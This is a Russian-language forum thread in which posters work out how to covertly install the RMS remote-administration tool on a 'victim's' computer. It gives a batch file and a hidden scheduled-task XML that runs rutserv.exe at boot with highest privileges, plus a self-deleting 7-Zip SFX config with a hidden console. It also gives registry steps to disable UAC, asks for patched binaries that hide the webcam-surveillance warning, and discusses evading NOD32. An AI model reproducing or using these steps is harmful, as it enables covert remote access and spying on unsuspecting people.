RMS 5.1 c отправкой ID и pass на почту.

Отключение UAC возможно только после перезагрузки!(.

 

что? для отдельно взятого приложения, делая через задачи можно и без перезагрузки. сам проверял.
з.ы. да, кстати я тут попробовал описанное мной сделать. через графический интерфейс все норм, а через цмд выходит ошибка доступа при вводе команды
schtasks /create /tn имя_задачи /xml "C:\путь\имя_файла.xml"

 

Megatron13,
А что за параметр "xml"? Для пути к программе, есть параметр "tr". Я думаю лучше делать через службы. Это намного сложнее обнаружить. У меня сейчас XP, и я не могу узнать, как отреагирует UAC.

 

Отключение UAC с помощью редактора реестра:
– в открывшемся окне Редактор реестра найдите раздел [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Policies\System];

– найдите REG_DWORD-параметр EnableLUA;

– установите его значение равным 0.

делаем перезагрузку

 

в планировщике на 7ерке можно указать экспортировать все параметры задачи в 1 xml файл. Когда я пишу /xml это значит что я создаю задачу с параметрами, указанными в этом xml'e.

файл bat.bat

Код:

@echo off

copy "%~dp0xml1.xml" "%systemroot%\system32"
schtasks /create /tn "Task2" /xml "%systemroot%\system32\xml1.xml"

файл xml1.xml

Код:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2012-02-14T11:37:10.6389768</Date>
    <Author>Комп\Мегатрон</Author>
  </RegistrationInfo>
  <Triggers>
    <BootTrigger>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
    <UseUnifiedSchedulingEngine>false</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>%systemroot%:\Program Files (x86)\Remote Manipulator System - Server\rutserv.exe</Command>
    </Exec>
  </Actions>
</Task>

Файл config.ini

Код:

;!@Install@!UTF-8!
;Текст_в_кодировке_UTF-8
GUIFlags="2+512"
GUIMode="2"
Progress="no"
RunProgram="RMS.exe"
RunProgram="hidcon:bat.bat"
SelfDelete="1"
;!@InstallEnd@!

Итак:
1) создаете эти 3 файла (+ RMS), скидываете в 1у папку.
2) создаете из них самоудаляющийся архив

От жертвы требуется просто запустить архив от админа и рмс после установки закинется в автозагрузку, при этом не будет выкидывать каждый раз uac.


Добавлено через 37 минут
кто сделал и у кого работает - отпишитесь плз.

 

кто нибудь поделится патчеными файлами rutserv.exe и rfusclient.exe чтобы не вылазило предупреждение о том что я наблюдаю через вебку для версии 5.1.2? и скажите почему после тихой установки открывается сайт RMS, как убрать?

 

устанавливай бета версию 5.1 beta 1 или 3. Там ниче не открывается.
ну так что кто-нить уже попробовал мой способ?

 

а можно вот это все, что ты написал выложить в готовом виде архивом?

 

доделаю - выложу. блин офигеть. я в предыдущем посте столько ошибок насажал. сижу правлю. мне теперь осталось только батником xml файл как-то закинуть юзеру в какую-нибудь сис-директорию, куда не заходят. но у меня почему-то не выходит.

Добавлено через 16 минут
так я пойду посплю. завтра все выложу.

 

Так. ну все нужное добавлено в предыдущий пост. у меня все работает.

Добавлено через 12 минут

слушай, имхо 3 текстовых файла легче сделать самому, а не качать.

 

думал помочь тебе, потестить на 7-ке

 

Не, спс. У меня есть гже тестить (7ка 64, 7ка 32, xp 32)

Добавлено через 1 минуту
Кстати надо бы версию для xp сварганить

 

Поделитесь патчем для 5.1 beta 3, чтобы табличка о видеонаблюдении не вылазила. В предыдущих постах встречал, но ссылки битые. Заранее спасибо)

 

Так, ладно, патч я нашёл) теперь вопрос, как эти файлы на компе с запущенным сервером подменить?

 

Переименуй файлы на компе жертвы ,например, на 1rutserv.exe 1rfusclient.exe И скопируй новые. После рестарта компа все будет норм. Сверху все написано, читай темку

 

Угу, ток на xp чтоб работало сделаю и создам. Кстати я ваэную вещь забыл. 7z надо устанавливать 32ух битный даже если система 64бита иначе на 32ух битной системе работать архив не будет. Кстати на счет патча я хз. Т.к. Все равно юзал бету 1. Киньте плз ссылки сюда на патч и бету 3.

 

Megatron13,
Слушай, ведь RMS автоматически запускается с помощью служб. Тогда твой обход UAC запускает её ещё раз.

 

Странно но у меня не запускался автоматически.

Добавлено через 1 минуту
Поэтому я сделал такой вот автозапуск+ обход

Добавлено через 13 минут
Ололо только что нод бету 1 ранее не палимую удалил из оперативной памяти как опасную программу. Пздц. Че случилось?

Добавлено через 10 минут
Слушайте у меня такой вопрос. Я другу кинул рмс на тест. После выключения-включения рмс не запустился. У меня тоже не запускался автоматом. Щас взял ноут чвжой установил. просто без всех прибамбасов rms.exe. Комп я перезагрузил (выкл. вкл) зашел в диспетчер задач и увидел запущенным рутсерв! Правда ненадолго. Нод его тут же заблокировал.

Добавлено через 49 минут
так блин пойду ка я переделывать свой этот обход, т.к. не работает нифига. я так думаю по-скольку нод 32 память прочистил только после перезагрузки, то нужно после каждого включения переустанавливать рмс.

 

если экзешники делать с одинковыми именами, то жертва думая чо программа установщик которую она запустила запрашивает разрешение на установку и разрешит, при этом даст админ права для rms. Таким образом удалось сделать тихую и мирную установку, однако после установки выкидывает на оф сайт + вылазит вот это предупреждение:


есть идеи ?

 

Что то не могу скачать файлы эти с первого поста:
Все файлы можно скачать одним архивом:http://www.multiupload.com/QZYBW3LGGV
Сервер сбрасывает соединение и все.:dontknow:
Перезалейте пожайлуста файлы у кого они есть, очень надо.